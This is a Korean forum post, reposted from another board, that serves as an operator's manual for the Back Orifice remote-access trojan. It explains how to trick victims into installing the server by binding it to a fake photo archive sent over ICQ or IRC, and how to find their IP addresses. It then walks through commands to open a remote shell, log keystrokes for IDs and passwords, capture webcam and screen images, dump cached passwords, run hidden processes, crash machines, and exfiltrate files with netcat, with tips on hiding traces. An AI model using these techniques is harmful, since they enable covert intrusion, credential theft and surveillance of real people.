BO 커맨드 사용법

 

이글은 해적K에 게시된 seanet 님의 글입니다.

: BO 커맨드 사용법

백오리피스(Back Orifirce:이하 BO) 사용 설명서입니다. BO120.ZIP파일안에는 다음과
같은 파일이 포함되어 있습니다. bo.txt - cDc 에서 제공하는 사용설명서입니다.
plugin.txt - 플러그인 프로그래밍 설명서입니다. 지우셔도 되겠습니다.
boserve.exe - 상대컴(리모트 컴퓨터)에 설치해야할 서버입니다. 플러그인 파일을
Attatch 할수 있으며 BOCONFIG.EXE에서 환경설정을 합니다.


bogui.exe - 그래픽 BO 클라이언트 프로그램입니다.

boclient.exe - 도스용 BO 클라이언트 프로그램입니다.(추천)

boconfig.exe - BOSERVE.EXE의 환경설정파일로 패스워드와 포트설정, 플러그인
설정등을 할수 있습니다.

freeze.exe - 파일압축프로그램으로 FREEZE.EXE로 압축한 파일은 MELT.EXE로
압축을 풀수 있습니다.

melt.exe - 압축해제 프로그램입니다. FREEZE.EXE로 압축한 파일을 풀어줍니다.
FREEZE.EXE와 더불어 별로 쓸일이 없을것 같은 프로그램입니다...

 

여러분들이 BO를 사용하고자 할때 제일 난감한게 무엇이겠습니까.... 아마도 BOSERVE.
EXE를 원하는 컴퓨터에 설치하는 일이 아닐까 싶은데 사실 쉬운일은
아닐 것입니다. NETNINJA 라는 해커그룹이 이를 위한 플러그인을 개발했는데 바로 SIL
KROPE.EXE와 SARANWRAP.EXE 두개의 플러그인입니다. 플러그인 사용법은 따로 설명을
드릴 것이지만 간단하게 말하자면 이 두개의 플러그인은 실제의 실행파일 또는 어떤
설치프로그램과 BOSERVE.EXE를 합쳐주는 기능을 합니다.
따라서 여러분이 BO를 설치하고자 하는 사람에게 플러그인으로 BOSERVE.EXE를 합친
어떤 프로그램을 전해준다면 쉽게 설치할 수 있겠죠. 물론 원래의 프로그램도 문제
없이 설치됩니다.
예를 들어 여러분의 사진을 몇장 스캔해서 자동풀림압축파일로 만들고 이 파일과
BOSERVE.EXE를 합쳐서 ICQ나 IRC를 통해 내사진이라면서 보내면 상대는 실행할 것이고
 당연히 몇장의 사진이 나올것이지만 이미 BOSERVE.EXE는 설치가 된것입니다.

뭐 어떻게든 상대컴에 BO를 설치했다고 합시다...

그럼 이제 남은 문제는 BOSERVE.EXE가 설치된 컴퓨터의 IP 주소를 알아내는 것입니다.
 근처에 있는 컴퓨터라면 은근슬쩍 다가가서 제어판을 뒤져서 알아볼수도 있겠죠. 아
니면 아닌척하면서 직접 물어볼수도 있겠습니다. 하지만 이것은 모뎀사용자에게는 소
용없는 방법이죠. 모뎀사용자는 IP가 계속 변하니까요.

그래서 NETNINJA에서는 BUTT TRUMPET라는 플러그인을 만들었습니다. 이것 역시 따로
설명을 할것입니다. 이 플러그인은 BOCONFIG.EXE 로 BOSERVE.EXE에 합쳐져서 상대컴에
 BO가 설치되면 미리 지정한 메일주소로 BO가 설치된 컴퓨터의 IP를 메일로 보내줍니
다.

그러니까 순서는 먼저 BUTT TRUMPET을 BOSERVE.EXE에 합치고 그 다음에 SILKROPE.EXE
등 으로 다른 실행파일과 BOSERVE.EXE를 합쳐야겠군요.

만약 특정인의 IP가 아니고 그저 BO가 설치된 컴퓨터면 아무거나 좋다...라고 한다면
스위핑을 하시면 되겠습니다. IP주소가 100.101.102.103 이라고 할때 마지막 103을
제외한 100.101.102 를 서브넷이라고 합니다. 그러니까 100.101.102 의 서브넷은
100.101.102.1 에서 100.101.102.255까지 255개가 되는군요.


스위핑은 서브넷을 검색하는 겁니다.
도스용 BOCLIENT 에서는

BO:>SWEEP 100.101.102

라고 하면 그 서브넷의 255개의 IP를 검사해서 BO가 설치된 컴퓨터가 있으면
알려줍니다.

BOGUI.EXE 에서는

HOST 란에 100.101.102.* 라고 타이핑하고 SEND를 눌러주면 됩니다.

그럼 저 서브넷은 1.1.1 부터 255.255.255까지 일일이 손으로 다 쳐서 검색을
해야겠습니까? 그렇다면 이것도 보통일이 아니죠. 대신 이렇게 하세요.
IRC를 사용하신다면 STATUS창이나 채널창에서 /dns 닉네임 하시면 닉네임의
IP 주소가 나옵니다. 그걸 참고해서 그 IP의 서브넷을 검색하면 되겠죠.
참고로 RIP.INI 라는 스크립트가 있어서 일일이 닉네임마다 명령을 내리지
않아도 IP를 모아줍니다.

자...서두가 길었습니다. 제가 원래 좀 그렇답니다. 이해하시길...
그럼 이제 상대컴퓨터의 IP주소도 알았습니다. 준비는 다 됐군요.
지금부터 제가 아는 한도안에서 적어보겠습니다.

 

▶ BO 커맨드의 사용법

처음 BO를 쓰신다면 도스용 BOCLIENT.EXE를 사용하시는게 좋습니다.
간단하게나마 HELP 기능을 제공해주니 이해하시는데 도움이 될것입니다.


1. Ping host/ping - (GUI 명령/도스용 명령)의 형식입니다.

지정한 IP와 네트웍으로 연결이 되는지 확인해보는 명령입니다. 지정한 IP의
컴퓨터가 네트웍에 연결되어 있고 BO가 설치되어 있다면 다음과 같은 반응이
있을겁니다.

- Packet received from host xxx.xxx.xxx.xxx port 31337 --
!PONG!1.20!누구누구!
------------------------- End of Data -------------------

요렇게 나옵니다... 여기서 누구누구는 지정한 IP의 컴퓨터 이름입니다...

2. App add/appadd

boclient에서 help를 실행하면 이렇게 나옵니다.

BO:>help appadd
usage : appadd "exefilename paramaters" inport
example1 : appadd command.com 23
example2 : appadd "netstat -na"998

bogui에서는 변수창이 EXE location_parameters와 Listen Port라고 나옵니다.
이 명령은 리모트 컴퓨터의 지정한 포트에서 텍스트 프로그램을 실행합니다.
command.com같은 것 말이죠. 텔넷 프로그램(이야기나 데이타맨)으로 접속해서
텍스트/도스용 프로그램을 쓸수 있게 해줍니다. 저는 command.com만 실행해
봤습니다.

예>boclient 에서 appadd를 실행합니다.
BO:>host xxx.xxx.xxx.xxx - host 명령으로 리모트컴퓨터에 접속합니다.

BO:>xxx.xxx.xxx.xxx>appadd command.com 23 - 리모트컴퓨터의 23번포트에
command.com을 실행합니다.

이렇게 한뒤에 이야기나 데이타맨,윈도 기본 telnet등의 텔넷 프로그램으로 접속합니
다.

예> 시작버튼-실행 에서 telnet을 실행하거나 도스창에서 telnet을 실행하면 됩니다.

C:\>telnet xxx.xxx.xxx.xxx:23

이렇게 하면 텔넷창에 윈도에서 도스창으로 빠질때와 같이 나옵니다.

Microsoft Windows 95
(C)Copyright Microsoft Corp 1981-1995.
C:\>

이제 텔넷을 통해 dir같은 기본도스 명령을 쓸수 있습니다.

3. App add/appdel, App list/applist

applist 는 현재 appadd로 실행한 프로그램의 리스트를 보여주고 appdel은 이미 실행
된 프로그램을 종료시킵니다. appdel을 쓸때는 applist 를 실행해서 나오는 결과를 보
고
각 프로그램의 프로세스 ID를 써야 합니다.

4. Directory create/md

이건 디렉토리를 만들어 주는검다. 도스에서는 md명령이죠. 근데 여기서 bogui에 잘못
 표시된것이 있습니다. 변수창 두개가 여전히 Unused라고 나오는데 왼쪽 변수창에다
만들고 싶은 디렉토리명을 적어줘야 합니다.

5. Directory list/dir

이건 도스의 dir명령과 같습니다. bogui에서는 왼쪽 변수창에 Directory location이라
고 나오는데 여기에 보고 싶은 디렉토리를 풀패스로 적어 줘야 합니다. 그런데 아무리
 적어줘도 아무것도 안나오 더군요. 알고보니

c:\windows\*.*

----->이런식으로 파일 마스크를 지정해줘야 결과가 나옵니다.
당연히 w*.*하면 w로 시작하는 파일과 디렉토리만 나옵니다.

6. Directory remove/rd

rd명령과 같슴다. 디렉토리 지우기

7. Export add/shareadd

리모트컴퓨터에 공유디렉토리를 추가하는 명령입니다.

예>
BO:>xxx.xxx.xxx.xxx>shareadd temp c:\,password,MyFolder

여기서 temp는 공유디렉토리의 이름으로 맘대로 적으시면 되고 password는 공유디렉토
리의 암호입니다. MyFolder는 공유디렉토리의 설명입니다. 역시 아무거나...
password와 MyFolder는 안적으셔도 됩니다. 이렇게 설정한 공유디렉토리는 리모트컴퓨
터에서 손 바닥표시(공유표시)가 안나타나며 읽기/쓰기 가능입니다...

8. Export list/sharelist

현재 공유로 잡혀 있는 디렉토리와 그 패스워드를 보여줍니다.


9. Export delete/sharedel

공유디렉토리의 공유를 해제합니다. 변수는 공유디렉토리의 이름입니다.

예>
BO:>xxx.xxx.xxx.xxx>sharedel temp

10. File copy/copy

파일복사하는 기능입니다. 이것은 리모트컴퓨터내에서만 가능한것 같습니다.
boclient에서 help를 보면 이렇게 나옵니다.

usage : copy sourcefilename targetfilename
example : copy c:\windows\system\bo.exe \\server\c\windows\startm~1\programs\sta
rtup

리모트컴퓨터에서 내 컴퓨터로 파일을 카피할수도 있을것 같지만 저는 안돼더군요.
얼핏듣기로 Netcat라는 유틸리티를 쓰면 BO만 가지고 파일 전송이 가능해진다고 하는
데 제가 오늘에야 Netcat을 구했기때문에 아직 해보진 못했습니다. 된다면 다음에 다
시 적어보지요.

11. File delete/del

파일/디렉토리를 지우는 명령입니다.

12. File find/find

파일 찾기입니다.

예>
BO:>xxx.xxx.xxx.xxx>find *.sys c:

13. File freeze/freeze, File melt/melt, File view/view

이거슨 BO에 포함되어있는 freeze.exe와 melt.exe를 이용해서 파일압축/해제하는 명령
입니다. 그러나 이것은 해본적두 없습니다...이거 뭐에 쓰라는건지 모르겠네요...-_-
그리고 File view는 텍스트화일을 보는 명령입니다.

14. HTTP Disable/httpoff

말그대로 http서버를 없애버립니다. 특히 LAN상에 있는 컴퓨터들 중에 자기 컴퓨터를
웹서버로 만들어 놓은 컴퓨터가 있죠. 거기에 이 명령을 쓰면 서버동작이 중지됩니다.
파라미터는 없습니다.

15. HTTP Enable/httpon

위의 명령과 반대로 HTTP 포트를 활성화 시킵니다. 이 명령으로 리모트컴퓨터의 http
포트를 켜놓으면 웹브라우저로 접속할 수 있습니다. 파일 업로드/다운로드 가능하므로
 아주 중요한 기능이 되겠습니다.

예>
BO:>xxx.xxx.xxx.xxx>httpon 80 c:

위에서 80은 http 포트번호(아무거나 되지만 http는 디폴트로 80번 포트를 씁니다.)이
며
c:\는 접속할 루트디렉토리입니다.....만!!!
위와 같이 명령을 내리면 물론 접속은 가능하지만 c:\안의 디렉토리나 파일에는 접근
불가능합니다. 그러니 c:\는 쓰지말아야 합니다.

다시 예>
BO:>xxx.xxx.xxx.xxx>httpon 80

이렇게 명령을 내린뒤 넷스케이프건 익스플로러건 실행을 합니다. 그리고 주소란에

http://xxx.xxx.xxx.xxx:80

이라고 적어주면 접근가능한 드라이브를 보여줍니다. 리모트컴퓨터에 c:\,d:\,e:\ (e:
\는 시디롬드라이브)가 있다면 C:D:CDROM:이라고 나올겁니다. C:\에 들어가서 화면 맨
 아래를 보면 파일을 업로드할수 있도록 되어 있습니다.

16. Keylog begin/keylog

상대방이 키보드 누르는 것을 감지해서 파일에 저장시키는 명령입니다. 물론 영어만
지원되니까 알아보기는 힘들지만... 여기에는 당연히 아이디와 비밀번호같은것도
포함되겠지요... 조심합시다...물론 저장은 리모트컴퓨터에 됩니다. 그러니 굳이
이걸 쓰고 싶다면 저장되는 파일은 디렉토리 깊수~욱한곳에 묻어놔야겠죠...-_-;

예>
BO:>xxx.xxx.xxx.xxx>keylog c:\temp\keylog.txt

Keylog end/keylogend 는 당연히 키로깅을 중지하는 명령...

17. MM Capture avi/capavi

만약 리모트컴퓨터에 화상통신에 쓰이는 비디오카메라같은것이 있다면 그 카메라에
보이는 장면을 avi형식의 동영상으로 저장합니다...휴~ 저는 해본적은 없습니다만
가능한 모양입니다. 이게 그야말로 말로만 듣던 몰래카메라가 아니겠습니까...
만약 컴퓨터에 비디오카메라가 달려있으면 점잖빼고 앉아있어야겠군요...흠...
어떤 넘은 "당신은 지금 해킹당하구 있다..."등등의 메시지를 보내고는 공포에 질린
상대의 표정을 캡쳐해서 바탕화면으로 쓰는 취미가 있다는군요...변x같으니라구..-_-;
이 명령은 boclient에서 help를 사용해서 알아보시기 바랍니다.

18. MM Capture frame/capframe

마찬가지로 비디오 입력장치가 달려 있을때 보이는 화면을 비트맵형식으로 저장합니다
.
역시 해본적 없습니다...

19. MM Capture screen/capscreen

요건 해봤습니다...-_-
리모트 컴퓨터의 모니터 화면을 비트맵으로 저장하는 명령입니다.

예>
BO:>xxx.xxx.xxx.xxx>capscreen c:\temp\capture.bmp

라고 입력하면 그 순간의 모니터 화면을 캡쳐해서 bmp형식으로 저장합니다.
보고 싶으면 httpon명령을 써서 웹브라우저로 보면 되겠죠. 하지만 이런것은 상대방이
해킹당하고 있다는 걸 눈치챌수 있기 때문에 모르게 하고 싶다면 보구 나서 지워야겠
죠.

20. MM List capture devices/listcaps

비디오 입력장치가 있는지 알아볼수 있습니다. 있다면 결과가 나오겠죠.

21. MM Play sound/sound

리모트 컴퓨터에서 지정한 wav형식의 파일을 연주합니다.

예>
BO:>xxx.xxx.xxx.xxx>sound c:\temp\temp.wav

22. Net connections/netlist

현재 리모트 컴퓨터의 Net connection 을 보여줍니다.

23. Net delete/netdisconnect

현재 리모트 컴퓨터가 연결되어 있는 네트웍 리소스의 연결을 해제합니다.

24. Net use/netconnect

리모트 컴퓨터를 네트웍 리소스와 연결합니다. 솔직히 이것도 해본적없습니다...음...

25. Net view/netview

리모트 컴퓨터에서 볼수있는 모든 네트웍 인터페이스, domains, 서버, 공유디렉토리등
을 보여줍니다.

25. Plugin execute/pluginexec

백오리피스 플러그인을 실행합니다. 지금까지 나온 플러그인 중에 이 명령으로 실행할
 수 있는 것은 BUTT Sniffer 하나 뿐인것 같습니다. 다른 플러그인은 이런식으로 하는
 게
아니죠. 플러그인에 대한 설명은 따로 하겠습니다.

26. Plungin kill/pluginkill

실행중인 플러그인을 종료합니다.

27. Plugin list/pluginlist

실행중인 플러그인을 보여주거나 플러그인이 있다는 것을 보여줍니다.

28. Process kill/prockill

현재 리모트 컴퓨터에서 실행중인 여러가지 프로그램들을 강제종료시키는 명령입니다.
이때 변수는 Process list 를 실행하면 나오는 프로세스 ID입니다.

29. Process list/proclist

현재 리모트 컴퓨터에서 실행중인 프로그램들을 프로세스 ID와 함께 보여줍니다.


30. Process spawn/procspawn

프로그램을 실행하는 명령입니다. bogui에서 명령을 실행할때 두번째 변수를 지정하면
일반적인 프로그램과 동일하게 실행되며 지정하지 않으면 백그라운드로 숨겨진채로
상대가 모르게 실행됩니다.


31. Redir add/rediradd

Incomming TCP connection과 UDP 패킷을 다른 IP주소로 리다이렉트 시킵니다.

예>
BO:123.234.345.9>rediradd 23 123.234.345.15

------- Packet received from 123.234.345.9 port 31337 -------
Redir 0 is directing port 23 to 123.234.345.15:23
------- End of data -------

BO:123.234.345.9>redirlist

------- Packet received from 123.234.345.9 port 31337 -------
Redirected ports: 0:port 23:TCP->123.234.345.15:23
1 redirs displayed
------- End of data -------
BO:123.234.345.9>

이렇게 하면 내컴퓨터의 23번 포트로 들어오는 패킷이 123.234.345.15의 23번 포트로
연결된다는겁니다...흠...무슨 말일까...-_-;
사실 저도 무슨 말인지 잘 모릅니다...이걸 어떻게 활용하는지 예를 들어보지요.
-------------------------------------------------------------------------------

▶ AOL Web page에 로긴없이 침입하고 싶으면 이렇게 하면 된다.
우선 IP를 감추기 위해 이렇게 한다.

rediradd 666 members.aol.com:21

그리고 FTP로 BO가 설치된 컴퓨터에 접속한다.

ftp xxx.xxx.xxx.xxx:666

그러면 충돌하게 될것이고 anonymous로 접속하게 된다.

▶ Anonymous로 접속하기 위해서

rediradd 666 (new-bo-server-ip):31337

그리고 BO 로 666포트에 접속하면 된다.
-------------------------------------------------------------------------------

원래 영문이었는데 멋대로 해석하고 멍청하게도 원문은 지워 버렸습니다...
워낙에 영어랑은 담쌓놓구 사는 사람인지라...제가 해석을 하니 영어보다 더 어려운
국어가 되 버렸네요...-_-  은근슬쩍 넘어가야겠습니다....흠....

32. Redir del/redirdel

당연히 리다이렉트 시킨 것을 중지하라는 명령이지요.

33. Redir list/redirlist

현재 활성화되어 있는 포트 리다이렉션을 보여줍니다.

34. Reg create key/regmakekey

리모트 컴퓨터의 레지스트리를 조작하는 명령입니다.
NOTE: For all registry commands, do not specify the leading \\ for registry valu
es.
(이 짧은 문장도 해석하기가 두렵습니다...-_-)
레지스트리에 대한 명령은 그냥 소개만 하고 넘어가겠습니다. 죄송...

35. Reg delete key/regdelkey

지정한 레지스트리 값을 지워줍니다.

36. Reg delete value/regdelval

지정한 레지스트리 키값을 지워줍니다.

37. Reg list keys/reglistkeys

지정한 레지스트리 키의 하위 키들을 보여줍니다.

38. Reg list values/reglistvals

지정한 레지스트리 키의 값들을 보여줍니다.

39. Reg set value/regsetval

레지스트리 값을 고치는 명령입니다. bo.txt에는 이렇게 적혀 있습니다.
Sets a value for a registry key. The values are specified as a type followed
by a comma, then the value data. For binary values (type B) the value is a
series of two digit hex values. For DWORD values (type D) the value is a
decimal number. For string values (type S) the value is a text string.

40. Resolve host/resolve

도메인네임이나 컴퓨터이름을 IP 주소로 바꿔줍니다.

***추가로 적습니다. 그러니까 LAN 사용자라면 리모트컴퓨터의 이름만 적어도 IP가 나
오는 것이죠. 컴퓨터 이름이야 네트워크 환경에서 확인하면 되겠죠.

41. System dialogbox/dialog

제목과 내용을 입력하여 리모트컴퓨터에 메시지를 띄웁니다. 간혹 특정컴퓨터에서는
한글이 깨지는 경우도 있더군요.

42. System info/info

리모트컴퓨터의 시스템 정보를 보여줍니다.
컴퓨터이름과 현재 사용자, cpu 종류, 메모리정보, 윈도 버전, 드라이브정보등을 보여
줍니다.

43. System lockup/lockup

리모트시스템을 다운시키는 명령입니다. 이명령을 실행시키고 나면 다음 부팅할때까지
는 당연히 연결이 안돼겠죠...

44. System passwords/passes

윈도9x는 각종 패스워드를 텍스트형태로 캐시에 저장하는데 지금 저장되어 있는
패스워드들을 보여줍니다. 화면보호기 패스워드도 보여줍니다.

45. System reboot/reboot

말그대로 리모트컴퓨터를 재부팅시킵니다.

46. TCP file send/tcpsend

리모트 컴퓨터에서 지정한 IP의 포트로 지정한 파일의 내용을 전송한다고 합니다.
이 TCP 파일 전송 명령을 내리기 전에 Netcat등의 유틸리티로 전송받을 IP의 포트를
TCP 파일을 받아들이도록 설정을 해놔야 된다고 원문에 나와 있습니다.
저는 아직 해보지 않았습니다. 조만간에 해보겠죠.

NOTE: For tcp file transfers, the specified ip and port must be listening
before the tcp file command is sent or it will fail. A useful utility for
transfering files this way is netcat, which is available for both unix and
win32.
Files can be transfered _from_ the server using the tcp file send command and
netcat with a syntax like:
netcat -l -p 666 > file

Files can be transfered _to_ the server using the tcp file receive command and
netcat with a syntax like:

netcat -l -p 666 < file

NOTE: The win32 version of netcat does not disconnect or exit when it reaches
the end of the input file. After the contents of the file have been
transfered, terminate netcat with ctrl-c or ctrl-break.